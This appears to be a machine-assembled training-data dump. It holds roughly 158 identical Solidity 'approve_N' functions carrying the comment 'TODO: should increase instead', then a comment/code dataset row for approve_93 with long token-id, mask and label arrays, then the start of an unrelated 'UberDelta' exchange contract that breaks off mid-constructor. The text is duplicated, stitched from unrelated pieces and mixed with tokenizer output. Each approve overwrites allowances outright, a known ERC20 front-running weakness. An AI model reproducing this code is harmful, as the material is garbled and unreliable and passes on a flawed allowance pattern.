function approve_744(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_745(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_746(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_747(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_748(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_749(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_750(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_751(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_752(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_753(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_754(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_755(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_756(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_757(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_758(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_759(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_760(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_761(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_762(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_763(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_764(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_765(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_766(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_767(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_768(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_769(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_770(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_771(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_772(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_773(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_774(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_775(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_776(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_777(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_778(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_779(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_780(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_781(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_782(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_783(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_784(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_785(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_786(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_787(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_788(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_789(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_790(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_791(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_792(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_793(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_794(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_795(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_796(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_797(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_798(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_799(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_800(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_801(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_802(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_803(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_804(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_805(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_806(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_807(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_808(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_809(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_810(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_811(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_812(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_813(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_814(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_815(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_816(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_817(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_818(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_819(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_820(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_821(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_822(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_823(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_824(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_825(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_826(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_827(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_828(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_829(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_830(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_831(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_832(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_833(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_834(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_835(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_836(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_837(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_838(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_839(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_840(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_841(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_842(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_843(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_844(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_845(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_846(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_847(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_848(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_849(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_850(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_851(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_852(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_853(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_854(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_855(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_856(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_857(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_858(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_859(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_860(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_861(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_862(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_863(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_864(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_865(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_866(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_867(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_868(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_869(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_870(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_871(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_872(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_873(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_874(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_875(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_876(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_877(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_878(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_879(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_880(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_881(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_882(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_883(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_884(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_885(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_886(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_887(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_888(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_889(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_890(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_891(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_892(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_893(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_894(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_895(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_896(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_897(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_898(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_899(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_900(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_901(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
}
| TODO: should increase instead | function approve_93(address spender, uint value) public returns (bool ok) {
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
| 6,453,806 | [
1,
6241,
30,
1410,
10929,
3560,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
6617,
537,
67,
11180,
12,
2867,
17571,
264,
16,
2254,
460,
13,
1071,
1135,
261,
6430,
1529,
13,
288,
203,
565,
389,
12908,
4524,
63,
3576,
18,
15330,
6362,
87,
1302,
264,
65,
273,
460,
31,
203,
565,
3626,
1716,
685,
1125,
12,
1234,
18,
15330,
16,
17571,
264,
16,
460,
11272,
203,
565,
327,
638,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
//Address: 0xd546551924a883b604d4127b0af309c95ba9ba6d
//Contract name: UberDelta
//Balance: 0.009543803 Ether
//Verification Date: 3/5/2018
//Transacion Count: 1013
// CODE STARTS HERE
pragma solidity ^0.4.19;
//
// UberDelta Exchange Contract - v1.0.0
//
// www.uberdelta.com
//
contract Token {
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b > 0); //gentler than an assert.
c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
return c;
}
}
contract OwnerManager {
address public owner;
address public newOwner;
address public manager;
event OwnershipTransferProposed(address indexed _from, address indexed _to);
event OwnershipTransferConfirmed(address indexed _from, address indexed _to);
event NewManager(address indexed _newManager);
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
modifier onlyManager {
assert(msg.sender == manager);
_;
}
function OwnerManager() public{
